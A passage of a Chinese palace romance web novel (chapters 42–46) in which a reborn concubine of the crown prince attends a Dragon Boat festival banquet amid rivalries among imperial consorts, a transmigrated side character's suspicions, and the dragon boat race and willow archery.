便见那姜侧妃美目圆睁,惊愕地看着她,似是对她出现在这儿很难以置信。 第42章 夭折了!太子:“作何在此?” 屋里一静。 包括听得懂话的孩子们在内,众人都顺着姜侧妃的目光朝槛儿看过来。 呃…… 槛儿有点儿懵。 什么情况? 这时候她不认识姜侧妃呢。 “姜侧妃,不得无礼!” 宣王妃不悦低斥道。 王府侧妃的品级比东宫昭训的高,若单照品级来分,王府侧妃不需要对一个小小的昭训以礼相待。 但再怎么说此女顶着的也是太子昭训的头衔,又是当着裴皇后的面。 该有的礼待自然还是要有。 “啊,我、我……” 意识到自己做了什么,姜侧妃的脸“唰”地一红,支支吾吾的说不出来话。 宣王妃刚要替姜侧妃向郑明芷赔罪。 裴皇后在这时说了话。 道时辰不早了,命妇们该过来了,让宫人领着各位主子到偏殿歇歇脚。 众人心思各异,但面上无一不应。 从正殿出来。 宣王妃一行人由碧荧领着往偏殿走。 等到了偏殿,碧荧笑盈盈安顿好各位主子就离开了,众人总算松了口气。 “姜侧妃,你刚刚怎么回事?看你那样,可是认得东宫那位新昭训?” 等奉茶点的宫女太监都退下,慎王府的林侧妃第一个没忍住,扯了扯挨着她坐的姜侧妃,轻声问道。 屋里安静。 其他人闻言不禁也纷纷看过来。 姜侧妃很不耐烦。 没见人家裴皇后都没问什么吗?她倒是巴巴凑过来了,一点眼力见儿也没有。 难怪慎王府四个侧妃,就她不得宠! “没,不认识。” 姜侧妃讪笑。 “我认错人了,当是以前熟识的人,细看才发现不是,平白惹了笑话。” 胡扯呢。 大伙儿的眼睛又不瞎。 那小昭训生得那么一副千娇百媚的模样,打眼一瞧说是惊为天人都不为过。 这样有辨识性的美人儿。 姜侧妃真要认识肖似此女的人,不可能一点风声都没有,毕竟姜侧妃此人也称得上是京中“名人”呢。 “是吗?我还以为你认识呢。” 林侧妃半是玩笑半是讥讽。 “看来姜妹妹此前病的那一场真是不轻呢,不但改了性子,如今脑子也不好使了,年纪轻轻记性就差了。” 慎王为五皇子,宣王为七皇子。 林姜二女虽都是王府侧妃,但按长幼论序,姜侧妃还是得敬着林侧妃。 “让林姐姐见笑了。” 姜侧妃难为情似的道。 “也不知现在的年轻人都这样,还是只我如此,上一刻还记着的事有时转个头就忘了,闹出过不少笑话。 还是林姐姐记性好,过去快两年的事都还记得这么清楚,我若想有林姐姐这记性,怕是还得多吃几年盐。” 林侧妃今年二十二。 比姜侧妃大四岁。 姜侧妃此言听着是夸林侧妃记性好,实则是在拐着弯儿嘲对方年纪大。 哪个女子又爱听人说自己年纪大呢? 尤其林侧妃生就一副细眼阔鼻的长相,加上极度追求纤瘦,整个人瞧着干瘪得几乎只剩了身骨头架子。 比实际年龄还要显老。 她素日里最忌讳的就是有人当着她的面提年纪,特别是提她的年纪! 当然,她自己提无所谓。 “姜侧妃,你放肆!” 林侧妃习惯性要往扶手上拍,却忘了这会儿她们这些侧妃坐的都是凳子。 林侧妃拍了个空。 右半边身子因为用力过猛忽地一歪,好在被坐在后面同为慎王侧妃的陈侧妃搀了一把才免了当众丢丑。 姜侧妃“噗”一声笑出来。 宣王妃眉头一蹙,看向她。 姜侧妃轻咳,拿帕子掩了掩唇,假模假样地娇声道:“林姐姐当心些。” 当着这么多王妃公主的面闹了笑话,林侧妃当即就要跟姜侧妃理论一二。 可惜没来得及开口,前面椅子上坐着的慎王妃就回头朝她看了过来。 林侧妃顿时跟被掐了脖子的鸡似的。 睿王妃坐在对面笑看了会儿她们这边的闹剧,旋即美目一转开口道: “不得不说,那位宋昭训当真是个颜色好的,我长这么大还没见过像她那般标志的人物呢,大嫂你觉得呢?” 此言一出。 立马没人管林侧妃姜侧妃了,纷纷把视线集中到了信王妃跟睿王妃身上。 信王乃德妃所出,排行老大。 是元隆帝的第一个儿子,今年三十七。 在场的人都知道。 大靖皇室遵循的是立嫡立长的祖宗法制,因此太子出生前,信王便是最有望于储君之位的人选。 而睿王刚及而立,排行老三。 生母是最得宠的魏贵妃。 一个长子,一个宠妃之子。 早年太子还没长成,就数他俩斗得厉害。 所以信王妃跟睿王妃表面和和气气,实则背地里也没少互相扔软刀子。 信王妃最是端庄不过。 历来以《女诫》、《贤媛集》、《列女传》为自身行为准则,平时的穿着打扮和行事做派也都较为内敛保守。 睿王妃这话明显是借东宫那位昭训妖媚的样貌,嘲讽信王妃的古板迂腐。 “哼,什么好颜色。” 十五岁的韶宁郡主冷哼道。 “妖里妖气的,一看就不是正经人,也不知六皇叔怎么就看上这么一个人的。” 韶宁郡主是信王和信王妃的次女,她口中的六皇叔自然指的是太子。 “住口!” 信王妃拧眉,没好气斥道。 “越大越不知规矩,这话也是你能说的?再敢多嘴看我不罚你!” 韶宁郡主撇嘴。 比她大半时辰的双胞胎姐姐韶安郡主扯扯她的袖子,示意她别跟母亲顶嘴。 主要这里是坤和宫。 别看这会儿宫女太监们都在外面候着,实际这些个奴才的耳朵可灵着呢。 若是妹妹说的这话传到了皇祖母的耳朵里去,皇祖母该对她们不满了。 教训了女儿,信王妃看向睿王妃。 “太子的人必然是标志的,我劝三弟妹今后还是不要再说这样的话,勿要犯了口舌。” 睿王妃大方一笑。 一双顾盼生辉的狐狸眼眸光流转。 “谢大嫂提点,我会记着的,不过我倒觉得我刚刚那话算不上犯口舌。 倒是韶宁这丫头,那昭训好歹是太子的屋里人,俗话说不看僧面看佛面。 也就是现在这儿都是咱们自家人,听过便过了,可若是传了出去,指不定让人觉得咱们皇家姑娘少教呢。” 信王妃老神在在。 “三弟妹说的是,姑娘家是该管,回去我便罚她禁足半月,抄《女诫》十遍。” 韶宁郡主:“母妃!” 信王妃没搭理她,兀自喝起茶来。 睿王妃欣赏够了小姑娘眼泪汪汪的模样,也笑盈盈地品起了茶。 姜侧妃看完热闹,收回视线。 却是怎么也想不明白。 书里这个时候的宋槛儿,应该正被太子妃拘在嘉荣堂的偏殿才对啊。 可现在对方不仅成了昭训,今天居然还能出来跟她们一起过端午?? 姜侧妃很确定! 书里根本没有这样的剧情! 难道…… 一个念头飞快从姜侧妃的脑海里闪过,激得她身上一阵鸡皮疙瘩。 不会吧不会吧。 难道自己也要上演一场穿书女vs重生女的戏码?还是说对方其实跟她一样。 也是穿过来的?! . 宣王妃一行人一走,裴皇后便示意曹良媛和槛儿过来坐会儿歇歇。 “你认识姜侧妃?” 郑明芷问。 槛儿摇摇头:“妾身此前不认识姜侧妃。” “你不认识她,可她怎么像是认识你?” 郑明芷本就不愿槛儿在人前露脸。 更不想她出风头。 现下宴会还没开始槛儿就引起了那么多王妃侧妃以及公主的注意,虽然这事是宣王府的姜侧妃弄出来的。 但郑明芷就是不高兴。 槛儿稍显讪讪道:“回太子妃,妾身不知,妾身先前没接触过宫外的人。” “不认识就不认识吧。” 郑明芷还想说什么,被裴皇后打断了。 “姜侧妃兴许认错了人,宋昭训不必紧张,太子妃也无需将此事放在心上。” 槛儿恭声应是。 心里也没闹懂那姜侧妃的意思,好端端的她怎么就不能在这儿了? 上辈子她跟对方第一次见是在好几年后的中秋宴上,当时可没有这回事。 总不能姜侧妃也重活了吧? 念头刚起,槛儿就被自己逗笑了。 若谁都有重生这样的机遇,那岂不是这世上处处都是活了几辈子的人? 那也太荒谬了。 槛儿暗暗摇头,将这个猜测抛到脑后。 不过她在心里还是稍微记了一下这件事,毕竟不怕一万就怕万一。 谁也不能保证这辈子的事情,就一定会纹丝不变地照上辈子的轨迹发展。 又过了会儿。 宗亲妇和命妇们到了。 等所有金光四射的贵妇们向裴皇后见完礼,已经是半个多时辰后的事了。 离去西苑还有两刻钟。 命妇们被领去了另一处偏殿休整。 裴皇后也要稍作歇息,槛儿和曹良媛便由坤和宫的宫人领着到后面歇脚。 曹良媛早就想去净房了。 出来便催促宫人带她去歇脚的地方。 槛儿懒得追,叫了旁边一个宫女引路。 然而没走两步。 两侧的宫人突然都跪了下来。 槛儿不禁回过头。 便见太子从景和门方向过来,猿臂蜂腰,龙行虎步,清冷的脸配淡漠的眼。 看样子是要去正殿见裴皇后,看到她,他顿了顿,旋即大步朝她走过来。 “作何在此?” 槛儿就大致说了命妇们刚朝拜完,皇后娘娘让她们也下来稍作休整的事。 骆峋扫一眼旁边的小宫女。 本来槛儿是要和曹良媛在一起的。 但小宫女见太子跟槛儿说了话,就很是机灵地引着两位主儿去了别的地方。 带女儿出来透气的姜侧妃无意间撞见这一幕,眼珠子差点没瞪出来。 夭折了! 剧情真的不一样了! 第43章 太子爷:“不知羞。”槛儿:“???” 到了歇息的屋子,等宫人们都退下,槛儿问:“殿下来看娘娘吗?” “嗯。” 乾元殿那边没什么事。 父皇让他来看母后这边进程如何了,岂料刚过来就看到她一个人站那。 骆峋便想起,自己昨夜只同她说了让她随郑氏和曹良媛赴宴的事。 没同她讲宴的流程,以及该注意的地方。 也不知她怕不怕母后。 见到那么多贵妇,命妇会不会紧张。 只是不会琴棋书画就怕他嫌弃,见她形单影只的,骆峋不免便想多了些。 反应过来,人已经同她走了。 槛儿不知太子的心思,听他说是来看裴皇后的,她也不缠他闲话了。 “那您去吧,娘娘这会儿正得空呢。” “不急。” 骆峋环视一圈这间屋子,低头看她。 “第一次参加宫宴,可会怕?” 槛儿自然不怕。 但她不能这么表现。 “有点……” 她抿抿唇,稍显难为情地说。 伸手揪住男人的衣袖,很小声道:“但一想到殿下同在宴上,妾身就不怕了。” 又讨好他。 骆峋看眼窗外的日光,无情地将袖子从那两根葱白的手指上抽出来。 “你规矩仪态甚好,不必过多忧虑,你是东宫的人,只要占理,无需对谁忍气吞声。” 谨言慎行不等于畏首畏尾。 他还不至于连自己的女人都护不住。 顿了顿,骆峋补充: “娘娘通情达理,不拘小节,你礼数周全行事有分寸即可,无需太过拘谨。” 昨晚宽慰她也好,此时的提点也罢,槛儿觉得这人真和上辈子不一样了。 虽然他的脸还是冷。 但能亲耳听到他说这些,对槛儿而言是好事,对两人的关系而言也是好事。 “妾听殿下的。” 槛儿娇羞一笑,真诚道。 “妾身刚开始是有一点怕娘娘,娘娘好威严,但娘娘夸妾身了,还给了妾身赏赐,妾身就没那么紧张了。” 骆峋看她小嘴儿叭叭叭的。 像只欢快的雀儿。 让他的心情也莫名跟着好了起来。 但不知怎么。 看着小昭训一张一合的樱唇,他想起了今早东宫门前她看他的那个眼神。 想起夜里从这张红润小嘴儿里吐出来的,那句夸他“好厉害”的话。 “不知羞。” 太子爷清冷正经。 好看的薄唇里突然冒出这么三个字。 槛儿就懵了,嘴角的弧度僵住。 不是在说皇后娘娘吗? 怎么扯到不知羞了? 再说她怎么就不知羞了? 太子殿下自是不会同小昭训明说,夜里那等秘事也决计不可宣之于口。 不过,看她前一刻还欢快地跟他分享喜悦,此时却笑颜凝滞懵懂忐忑。 骆峋也知败了她的兴。 瞥眼光亮的窗外,他袖下的指尖蜷了蜷,最终还是抬手,摸了摸她的脸。 “不紧张便好,去了西苑只管跟着娘娘,有问题太子妃若不能解决便请娘娘做主,再不行则让人来寻孤。” 他素来是个寡言少语的,唯有在谈及正事,或与人讲经说理时话才多些。 如今说到这个程度,实属罕见。 槛儿也就把他莫名说她不知羞的话抛到了脑后,做出乖巧恭顺样儿。 “好,妾记住了。” 说着,想起一事。 她极力踮起脚,凑到男人耳畔。 “射柳,您别忘了。” 说完,也没缠人。 自觉拉开了距离。 骆峋的耳尖动了动,“知道了,孤走了。” 从宫室出来,骆峋看眼海顺。 海顺心领神会地点点头。 骆峋便不再言,迈步去了正殿。 听宫人来报说太子来了,和宋昭训去了后面,裴皇后说不意外是假的。 不过当着太子妃的面,她没表现出来。 这会儿见儿子从外面进来,裴皇后也权当不知道他去陪了那小昭训。 熟稔地吩咐人打湿巾子来替太子擦汗净面,又叫一旁的小太监给太子打扇,问起他乾元殿那边的情况。 骆峋挑拣着如实相告。 这边的情况他方才听槛儿说了个大概,便没再多问,只关心了裴皇后一番。 郑明芷代为答了几句。 她和太子的矛盾裴皇后并不知情,人前他们便是一对相敬如宾的皇家夫妻。 骆峋与她说了两句大面上过得去的话后起身告退,郑明芷体贴地送人出去。 见夫妻俩走远了。 裴皇后哼笑了声。 “娘娘笑什么?”冯嬷嬷替她捏着肩,闻声问。 裴皇后靠着椅背,姿态懒散道:“还在我跟前做戏呢,真当我老眼昏花,看不出他们之间的那点儿猫腻。” “殿下也是不想您劳神费心,再者大多夫妻情分都是长期处出来的,年轻小两口哪有不闹矛盾的时候,再多给些时间处处就好了。” 裴皇后觉得不尽然。 她又不傻。 旁人看不出来,她这个当娘的却是最熟悉儿子的某些细微表情跟小动作。 早在小两口成婚不久的时候她就看出来了,儿子跟儿媳不亲近,这种不亲近还带着一丝排斥和厌恶。 只不过再是当娘的。 也不好揪着儿子儿媳的房中事问。 儿子既然不愿说,她也就不多嘴。 横竖那么大的人了,哪能事事都要当娘的操心,有时操心的多了反倒惹人厌。 只要他自己清楚该做什么就行。 何况太子妃那人。 裴皇后也看清了,左右不管她说什么做什么,她在她那儿媳心里都是恶婆婆。 既如此,她就懒得讨人嫌了。 由他们折腾去吧。 只要不折腾出什么大事就成。 “那个宋昭训。” 裴皇后转移了话题道。 “瞧着倒是跟先前叫人查来的消息一般无二,是个规矩本分知进退的,看起来好歹也是个能稳得住的。 人也标志,面色红润身子康健,跟我园子里养的那些牡丹花儿似的,倒是比有些闺阁千金还要来得娇贵。” 冯嬷嬷顺着话头笑道:“太子妃眼光好,配给咱们殿下的自然要是最好的。 就宋昭训那样的样貌,身段儿,也只有咱们殿下这样的人物才护得住。” 这倒是实话。 历朝历代的女子就没有容易的。 男人们遇上了事喜欢把错归咎到女子身上,自己管不住下半截身子,到头来也成了女人勾引的他们。 不难想象小昭训若是在宫外会遭遇什么,可在宫里做奴才就能好吗? 混账人不分男女,哪儿都有。 裴皇后叹了声。 没说太子妃哪是要给太子配最好的,主要是看上人小姑娘好生养了。 想到生养,裴皇后忽然头疼了起来。 就太子当下对那小姑娘的上心程度,若一直这样下去,怕是今后关于孩子生了养在哪的问题还得闹一遭。 . 送走太子,槛儿回屋歇息。 约莫两刻钟后。 正殿那边来人说要出发了。 槛儿刚从屋子里出来,就和曹良媛碰上了。 “你到哪歇息去了?” 曹良媛的神色复杂,上来便问。 虽说这里是坤和宫。 她们和自己带来的人都不能随意走动,但混迹宫里自然要眼观六路耳听八方。 曹良媛有这样的神色,想来是听说了太子来过,且和她在一起待过。 槛儿没有刻意隐瞒。 曹良媛听得那叫一个牙酸啊。 她就稍微走快了几步。 几步! 结果就让这人撞见了太子。 两人还单独相处了! 就这么一会子的功夫,都离不得吗?! 第44章 “太子小时候就很乖。”裴皇后vs魏贵妃 西苑在前朝时期就是皇家避暑赏游的胜地,大靖开国后几代帝王又在原址的基础上进行了改建、扩展。 到如今园内一池三山,面域辽阔,亭台楼榭,殿宇林立,奇花异草遍地。 槛儿等人一进去。 入目便是一片波光粼粼的水域。 正是太液池。 太液池乃西苑中心水域,呈南北走向,一眼望去烟波浩渺,水天一色。 往北是万岁山,山上林木蓊郁。 多座华殿和楼榭掩映其中,鎏金宝顶直入云霄,远远看去犹如海上仙山。 今天的第一项活动是观戏。 戏楼设在玉熙宫,这地方在太液池的西南岸,离西苑门近两刻钟的路程。 一路走下来男客们那边不清楚,反正女眷这边没有代步工具的都热得够呛。 所以一到地方。 多数女眷都没忙着坐下歇息,而是由玉熙宫这边的宫人服侍着打理妆容。 槛儿虽然没上妆,但也被晒得面红耳赤,额头、鬓角跟后颈都是汗。 所幸她是东宫的人。 到了地方便立马有宫人领她到了一处净室,一番收拾后回了放着冰鉴的观戏厅,槛儿才终于感觉舒坦了。 她们所在的二楼是面阔五间带平台,进深三间的设计,可容纳百余来人。 裴皇后的位置在最北面的正中。 东宫女眷的位置设在裴皇后左下首的最前面,曹良媛和槛儿就按位份分坐在郑明芷身后的左右两边。 信王妃等一众皇亲国戚都坐在左边这一列。 槛儿旁边就是信王的一个侧妃,她们的后面是孩子们,都由乳母看着。 后宫妃嫔则以魏贵妃打头坐在对面,至于命妇们,则按品阶高低在整个厅堂的南面区域分列左右。 众人面前都摆着一张小案。 案上有宫人奉上的茶水点心,以及新鲜瓜果,瓜果都是切好冰镇过的。 碟子旁边搁着银叉子。 不过,在座之人不是德高望重的老王妃、太君,就是各个府上的当家大妇,或是世家高门出身的贵女千金。 大家平时走得斯文坐得端庄笑得矜持,言行举止处处透着优雅规矩。 所以即便有人跟槛儿一样,急需一些冰凉带汁水的瓜果解暑,这会儿坐那儿表面也都跟没事人似的。 丝毫不急着解渴。 几个年事已高的宗亲妇和诰命老太君和裴皇后说起话来,其他人则安静听着,时不时笑着附和两句。 而她们不动。 槛儿这个小昭训当然不可能动。 好在这样的事她上辈子没少经历,倒也没觉着这么等着有什么难熬的。 就是东宫这边的位置太显眼。 加上女眷少,没有孩子。 其他人只要往裴皇后方向看,就能注意到她们这边的不同寻常跟一举一动。 别看在场的这些贵妇们都自恃身份,不会纡尊降贵去谈论一个小妾。 可实际但凡与男女相关的事。 就鲜少有人不感兴趣的。 尤其当事人还是寡欲出了名的太子。 单凭这一点,在场的人就不可能不对东宫多出的这么一个美人儿好奇。 所以槛儿时不时就能感觉到投注到她身上的各种目光,至于这些人心里各自如何作想,就不得而知了。 好在小半刻钟后。 对面楼的戏台子上开唱了。 众人的注意力转移到了戏台上。 槛儿一直压制着身子的本能也挺耗费精力的,见状不禁暗暗松了一口气。 这场戏唱的是《钟馗嫁妹》。 其中钟馗的扮相狰狞又不失正气凛然,要驱除的各路妖魔鬼怪中有蛇、蝎子、蜈蚣、蟾蜍、壁虎五毒。 钟馗除五毒,正应了端午辟邪驱瘟的习俗。 这折戏武戏多。 唱戏的人使劲浑身解数表演特技。 一折戏唱罢。 从一楼传来男人们的喝彩声,女眷这边也赞不绝口,孩子们更是喜欢极了。 直嚷着别停,继续唱。 魏贵妃坐在妃嫔处的第一个位子上,看着自家孙儿活泼开朗的模样。 她眼珠子一转,扫了眼主位上的裴皇后和东宫的女眷,无奈般摇头笑道: “要说逢年过节数谁最高兴,真就莫过于这些孩子了,一个个儿跟泼猴儿似的。 也亏得不是天天在跟前儿待着,要不然我这脑袋都能给他们吵炸了不可。” 这会儿正是中场休息的时候,没了戏台子上的声音,殿内就安静得很。 魏贵妃是当朝一等一的瘦美人。 她四十有五的年纪。 一身石榴红鸾衔金枝的夏日宫装,身形纤瘦盈盈似水,单看面相不过三十出头,格外一副我见犹怜的姿态。 跟将族出身且喜欢舞刀弄枪的裴皇后相比,魏贵妃简直就是蒲柳一般的存在。 向来以魏贵妃为马首是瞻的丽嫔,闻言捧场道:“对这个年纪的孩子来说,吃喝玩乐就是天大的事儿。 晖公子不到七岁,昱公子还不到五岁,要妾身来看两位公子和小郡主很乖了。” 睿王膝下有五子三女。 丽嫔口中的晖昱两位公子和小郡主皆为睿王妃嫡出,也最得魏贵妃喜欢。 “那是你没自个儿养过孩子,”魏贵妃吃下一小块寒瓜拭着唇角叹道。 “我在你这个年纪的时候,也是把睿王全权交由乳母和宫女太监们看着,基本上就没自己带过孩子。 如今稀罕上孙子孙女了才知道,养孩子实在不是什么易事,前些日子来我宫里小住,简直吵得我头疼。” 说着,她揉揉额角看向裴皇后。 “还是姐姐那儿好,没娃娃闹腾,清净。” 此言一出。 众人神色一阵微妙,就连角落里偷偷剥瓜子的人都停下来不敢剥了。 太子现下二十有一,算不得多大。 但按律,大靖男子十七即可成家。 寻常人家这般年纪的男子,不说儿女成群吧,至少一个孩子是有的。 更不要说皇家的男人。 像是信王、荣王、睿王和慎王,都是在迎娶各自的王妃前就有儿有女了。 宣王倒是娶了宣王妃后才有的孩子。 但他也是已经有三个了,其中一双儿女还是姜侧妃所出的龙凤胎。 这可是祥瑞啊。 姜侧妃为此得了不少赏呢。 反观太子,子嗣的影儿都没见着。 这两年每逢宫宴,魏贵妃都没少拿东宫没孩子的事儿跟裴皇后斗嘴。 “也不是所有孩子都闹腾。” 裴皇后老神在在,不以为意道。 “像是太子小时候就乖,想做什么顶多哼唧两声,挥挥手脚,基本没闹过。” 底下的人附和。 “殿下挚孝纯善,打小就知道心疼人。” 槛儿想象了一下几个月大的小太子,张着粉嫩嫩的小嘴儿哼哼唧唧,挥舞着小胖手小胖脚的画面。 她低了低头,拿帕子轻掩唇角。 “太子自来便孝顺。” 魏贵妃轻笑,眼神朝槛儿瞥了瞥。 “想来东宫今后的小主子也会随了太子,我瞅着东宫的这位新昭训倒是个好生养的,想必好消息也快了吧?” 随着她的话音落下,这回所有人的目光都光明正大地落到了槛儿身上。 第45章 太子爷:孤并不宠小昭训。 这人可真会替她招仇。 槛儿暗道。 正牌太子妃在这儿,还有曹良媛。 哪就轮得到她一个新晋的昭训,当众担负起给东宫繁衍子嗣的大任了? 再者女子能否有孕有时跟个人情绪有很大关联,上辈子她就因此吃过一次亏。 魏贵妃的这话。 换做任何一个心性敏锐之人怕是都会倍感压力,越是想怀越是怀不上。 魏贵妃摆明了不是刻意针对她一个人,而是要让裴皇后和东宫的人都不痛快。 但这种场合轮不到槛儿说话,她也只能适时装出几分尴尬和窘迫来。 郑明芷和曹良媛的脸色都不太好看,但她们也都不适合在这时候开口。 倒是裴皇后,还是一副风轻云淡的样子。 笑眯眯的。 “想不到有朝一日贵妃也会这么关心年轻人的子嗣问题,到底是年纪大了,操心的事都与从前不同。” 呃。 这可真是,遮都不带遮掩的。 下面的人顿时或喝茶,或叉起一片瓜果送入口中,或拿起帕子拭唇。 按说魏贵妃跟裴皇后不对付了这么多年,心性该早养成了,不至于被对方一两句话就激得沉不住气。 可谁叫她最在意年纪呢。 为了保持年轻,她可是出尽了百宝! 此时就这么被裴皇后点了出来,魏贵妃差点没气得喷出一口老血来! 该死的姓裴的。 嘲她年纪大,到底谁年纪大啊! 五十多了连个孙子都没抱上,她也好意思! 魏贵妃想骂回去,想说裴皇后半截身子都要入土了,也好意思说她年纪大。 可她不敢。 元隆帝喜欢女人是真,宠她也是真。 可他更敬重姓裴的这个正妻。 他能容许她们这些妃嫔偶尔耍耍小性儿,能把她的儿子立起来同太子争,却绝不允许有谁真对姓裴的不敬! 魏贵妃气得嘴唇都哆嗦了。 想寻个别的话头嘲回去,偏裴皇后同她说完话就跟几个老王妃聊了起来。 摆明了就是懒得搭理她! 魏贵妃的一口银牙都要咬碎了,迁怒地瞪了槛儿好几眼,心里冷笑连连。 是个好生养的又如何? 真以为她不知道吗? 下不了种,田再肥也没用! 揭过这一茬。 第二场的《东方朔偷桃》是一折滑稽诙谐的短戏,差不多三刻钟就唱完了。 听罢戏,便是龙舟竞渡的环节,帝后率众人移驾到太液池东的椒园观赛。 依旧是设了男女大防。 元隆帝领着众皇子大臣去了瑞蔼堂的观赛台,裴皇后带着槛儿等女眷和孩子们在观澜亭及其西侧水榭。 三处地方之间有桥廊相连。 彼此可遥遥相望,只两处亭榭之中垂有竹帘纱幔,倒是让人看不清全貌。 今年的龙舟赛跟往年一样。 参赛的主要为京城几个军营和亲军二十六卫中的年轻将士和武官们,还有以康国公世子、勇国公世子为首的一众好武的公侯子弟。 随着鼓声和礼炮响起。 一条条龙舟从万岁山北边的金鳌码头出发。 宛如离弦之箭也似一路往南,最先抵达玉河桥南面的龙门旗下获胜。 元隆帝尚武,不拘小节。 每回逢上这样的环节他这个皇帝比谁都起劲,不但允许众臣不必顾虑御前仪态,能在岸边呐喊助威。 还可押注赌哪个队获胜的。 于是很快,男人们那边就热闹了起来。 女眷们这头没有他们豪放。 哪怕隔着一层纱幔。 有些面皮薄的姑娘们。 光是听着龙舟上那群年轻男人们喊号子的声音,也还是羞得面红耳赤。 看得旁边的少夫人直打趣。 不过,裴皇后惯是个豪爽的。 横竖龙舟队的儿郎和男客们都隔得远,她便也没太过拘着女眷们。 水榭的帘子没撤。 想出去看的出去看,愿意守礼的就留在亭子里和水榭里面观赛。 然后她带头出去了,身后哗啦啦跟了一串性情外向的夫人和闺秀们。 魏贵妃不屑为伍。 和一众自愿恪守礼法,亦或者性情内敛的夫人小姐留在水榭里观赛。 槛儿也随裴皇后到了水榭外的围栏前。 上辈子她面薄又守礼,凡事都以规矩为先,以至于从没好好看过一场龙舟赛。 重来一回必要的规矩要守,但能变通的,槛儿决计不会再为难自己了。 正值骄阳当头,太液池上波光粼粼,一支支龙舟队伍风驰电掣从北面冲来。 “父王!父王!” 慎王府五岁的小世子看到了最前面那条龙舟上的慎王,扯着嗓子喊了起来。 槛儿顺着望过去,果然看到了慎王。 慎王是婉妃的儿子,比太子大三岁。 现年二十有四,生得虎背熊腰壮得像座小山,相较于太子的健硕慎王更显壮。 即便隔着这么远的距离,也能看到他袒露的双臂上鼓动偾张的大块肌肉。 五个成年皇子,只有慎王参加了划龙舟。 没多会儿。 龙舟队伍从她们所在的水榭前经过,有几个姑娘红着脸躲到了纱幔后面,郑明芷和曹良媛也侧身避了避。 槛儿没避。 反正也有人没避。 龙舟队伍的击鼓声和儿郎们的口号声震耳欲聋,听得槛儿热血沸腾。 两辈子,她还是头一回切身体会到这种激情与震撼,她感觉好爽快! “六哥,那就是你新纳的妾啊?” 瑞霭堂观礼台。 八皇子简王拿手肘拐了一下正和官员说话的骆峋,眼睛盯着水榭方向。 骆峋看向他。 寡淡的眼神里带上了一丝凉意。 “非礼勿视。” 简王现年十八,生得肥头大耳。 由于过早沉湎男女情事,他面黄发虚,两只细小的眼睛也略显浑浊。 简王素来怕他六哥,但这人有时候就爱犯点儿贱,典型的记吃不记打。 闻言,他不以为意道: “你的妾,你有什么非礼勿视的?总不能你晚上都不看她吧,六嫂是从哪……” “来人。” 骆峋的神情淡漠,看似与平常无异:“简王晒昏了头,将其请下去醒醒神。” 立马上来两个太监。 “简王殿下,请。” 简王终于把视线从水榭那边收了回来,扭头对上他六哥一成不变的冷眼。 他习惯性眼神躲闪。 随即有些色厉内荏道:“六哥何至于此,不过就是看了你那新妾两眼……” “光天化日言语轻佻,轻慢女眷,你若不服,孤即刻与你面见父皇如何?” 简王瞬间不说话了,撇撇嘴不敢怒也不敢言地转身跟那两个太监走了。 待人不见了踪迹。 一旁的七皇子宣王方才敢出来安抚道:“六哥勿恼,老八混账又不是一天两天了,你大人不记小人过。” 宣王比骆峋小一岁。 身形清瘦挺拔,容貌俊朗。 因为打小爱笑,比起其他几位成年皇子,宣王更显少年意气与平易近人。 骆峋睨他一眼,未置一词。 宣王倒不怕六哥的冷脸。 也不是要替老八说话,而是他担心六哥在人前表现出了对那位新妾的维护,会让其他人生出什么旁的心思。 骆峋看出来了,所以没说话。 但他心里是不予赞同的。 且不提他并不宠小昭训。 即便今后真宠了,他也不会因为顾及旁人的阴谋诡计而刻意冷落她。 若连宠爱一个无权无势的女子都要身不由己,那他如何有能力坐上那个位置,将来又如何治理好大靖江山。 “殿下。” 海顺不知何时猫了过来。 当着宣王的面说了句只他和太子听得懂的暗语,骆峋淡淡点头表示知道了。 掩在袖下的手指捻了捻。 龙舟竞渡结束。 慎王率领的龙舟队拔了头筹,彩头元隆帝暂时没赏,道是射柳结束后一起赏。 槛儿方才被龙舟竞渡的热闹激得心潮澎湃,但她没有忘记接下来的射柳。 射柳在南台举行。 槛儿一行人移步过去时。 那条横亘南北的河道一侧岸边的绿柳上,已经绑了数十只装有鸽子的葫芦。 葫芦经过特殊处理。 里面的鸽子不至于被闷死。 但因着是活物,会动弹挣扎,加上柳条细,所以葫芦们一开始就晃动个不停。 可见有多考验箭术了。 信王半个多月前被睿王坑了一把,遭禁足两个月,时限还没满,今儿日子特殊他被临时解禁了一天。 不过他不擅弓马。 便由他的儿子,即皇长孙骆晔代劳。 骆晔现年十七,生得丰神俊朗。 作为元隆帝的第一个孙子。 即便不是嫡孙,骆晔也颇受元隆帝喜爱。 名副其实的龙孙,又受宠。 这让他即便熟知皇家的争权夺利且胸有城府,也仍旧养出了一身的英姿意气。 以至于他一下场,女眷观景楼那边就有情窦初开的小姑娘羞红了脸。 “我们晔哥儿真是长大了,稍后还得请晔哥儿手下留情,让让我们这些老骨头了。” 睿王走过来,笑盈盈的。 他穿着一身藏青色王爷蟒袍,气质温润如玉,酷似魏贵妃的桃花眼笑起来为他平添了一股风流。 骆晔明朗一笑。 “三皇叔就不要打趣侄儿了,莫说诸位皇叔正当壮年,龙马精神。 便是日后真上了年纪,也轮不到侄儿手下留情,再者论箭术,还当是六皇叔。” 说着。 他仪态端方地朝走在睿王前面的太子躬身作了个揖,半是玩笑半是认真。 “待会儿还请六皇叔手下留情,给侄儿留些面子,侄儿感激不尽。” 第46章 太子夺魁! 不得不说,骆晔不愧从小生在皇家,说起话来胸有沟壑,进退有度。 看似谁都没得罪,既展现了他对皇叔们的敬重,最后又把话引到了太子头上。 给太子挖了个小小的坑。 意思就好比。 他身为晚辈,礼数都如此周全了。 若稍后太子还丝毫情面也不讲,在外人看来那就是他做长辈的器量狭窄了。 睿王暗骂了声狐狸崽子。 面上却是很配合道:“这你还真是求对人了,你六皇叔武艺精湛,每回有他射柳,头彩必定是他的。” 其实睿王有时候都怀疑,父皇是不是故意借这些活动来给老六送钱了。 不然为什么会明知老六的功夫好,还每回都让他参加这样的活动? 可再想这几年父皇对东宫的态度,睿王又觉得自己的怀疑有些想当然耳了。 心思百转。 睿王拍拍太子的肩。 一副兄长待弟弟的亲和模样:“若不这回的头彩便叫晔哥儿拿了去吧。 最近他父王在考虑为他议亲,让他当着闺秀们的面大展一番身手,没准不日咱们就能喝上侄儿媳茶了。” 皇家子弟议亲。 从来都是以利为先,什么时候需要靠这等孔雀开屏的手段掳获芳心了。 叔侄俩一唱一和,分明就是熟知太子的性情,故意当众把太子架了起来。 信王在楼上围栏旁观望。 刚下场的慎王摸着下巴,一副看热闹不嫌事大的样子,只有宣王真心替自家六哥觉得这两人忒烦人。 明明信王和睿王这半个月因为皇长孙斗得厉害,睿王手下的得力臂膀都被对方设计给砍了,折损不小。 